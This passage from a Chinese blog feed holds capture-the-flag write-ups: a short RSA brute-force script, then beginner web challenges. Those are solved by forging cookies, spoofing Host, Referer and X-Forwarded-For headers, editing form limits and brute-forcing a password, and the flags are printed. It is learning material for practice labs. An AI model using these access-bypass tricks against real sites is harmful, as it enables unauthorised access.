&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; Crypto&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;Util&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; number&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;from&lt;&#x2F;span&gt;&lt;span&gt; concurrent&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;futures&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; import&lt;&#x2F;span&gt;&lt;span&gt; ProcessPoolExecutor&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;e8e24510&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;   # 太长&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;cbd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; 0x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;d2e6d8c2&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt; # 截掉&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; cca&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; k&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;        # 不用整除会报错float存不下，反正bytes也没小数&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; = (&lt;&#x2F;span&gt;&lt;span&gt;cbd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span&gt; k&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span&gt; n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; number&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;long_to_bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span&gt; re&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;match&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;r&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5E3F;&quot;&gt;islab&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;decode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;()):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;            print&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;decode&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;())&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; __name__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; ==&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;__main__&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    with&lt;&#x2F;span&gt;&lt;span&gt; ProcessPoolExecutor&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;max_workers&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span&gt; pool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        pool&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span&gt;map&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;cca&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; range&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 100&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 25&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;RSA
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;RSA&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>web2</title>
    <published>2018-08-05T16:35:03+08:00</published>
    <updated>2018-08-05T16:35:03+08:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/web2/" type="text/html" />
    <id>https://emptystack.top/web2/</id>
    <content type="html">
      &lt;h2 id=&quot;http:&#x2F;&#x2F;123.207.38.247:8888&#x2F;&quot;&gt;&lt;a rel=&quot;external&quot; href=&quot;http:&#x2F;&#x2F;123.207.38.247:8888&#x2F;&quot;&gt;http:&#x2F;&#x2F;123.207.38.247:8888&#x2F;&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;simple.php&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;islab{C0oki3_15_1nt3re5ting}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;改&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Cookie: name=admin&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;simple2.php&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;islab{d0_u_ud5rstAnd_whaT_each_h5ad5er_m5an5}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;根据网页内容依次改&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GET&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;为&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;POST
=&amp;gt;&lt;&#x2F;p&gt;
&lt;p&gt;在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Accept-Language:&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里加上
de-DE =&amp;gt;&lt;&#x2F;p&gt;
&lt;p&gt;改&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Host:
simple.islab.cn（我一直以为“via
simple.islab.cn”是从这里跳转来的意思，改了一万年&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Referer）
=&amp;gt;&lt;&#x2F;p&gt;
&lt;p&gt;加上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X-Forwarded-For: 10.0.0.55 =&amp;gt;&lt;&#x2F;p&gt;
&lt;p&gt;加上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Referer:
www.bit.edu.cn（原来跳转是“jump
from&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;…&lt;span class=&quot;halt&quot;&gt;…&lt;&#x2F;span&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;，得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;jarvis_oj&quot;&gt;jarvis oj&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;LOCALHOST&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;PCTF{X_F0rw4rd_F0R_is_not_s3cuRe}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;加&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;X-Forwarded-For: 127.0.0.1&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;bugku&quot;&gt;bugku&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;web2&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;KEY{Web-2-bugKssNNikls9100}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;F12，inspector&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里搜索&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;得到。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;web3&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;KEY{J2sa42ahJK-HS11III}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;弹出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和一堆乱码好几遍，F12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;发现注释里有很有规律的数字，猜测是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ASCII&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;码，转换后得到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;头等舱&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{Bugku_k8_23s_istra}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;span class=&quot;halt&quot;&gt;“&lt;&#x2F;span&gt;什么也没有&lt;span class=&quot;halt&quot;&gt;”&lt;&#x2F;span&gt;，真的什么也没有，html、network&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里面翻遍了也没有，也没有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;index.php，看着题名输&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;firstclass.php&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也没有。Burp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;抓包也找不到，查了下才知道是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;send
to
repeater&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;respose。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;计算器&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{CTF-bugku-0032}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;只能输&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;位，F12&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;改&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;maxlength=&quot;2&quot;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就可以了，然后算术。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;输入密码查看&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;flag&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;flag{bugku-baopo-hah}&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;网址就写着爆破，还告诉你密码只有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;位数，然后我爆破了一上午也没爆出来。查了下题解发现&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;位数密码&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;=5&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;位数字的密码……把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;character
set&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;改成全数字过一会就出来&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;length&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;与众不同的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;13579&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了……&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;web2
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;web2&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
</feed>
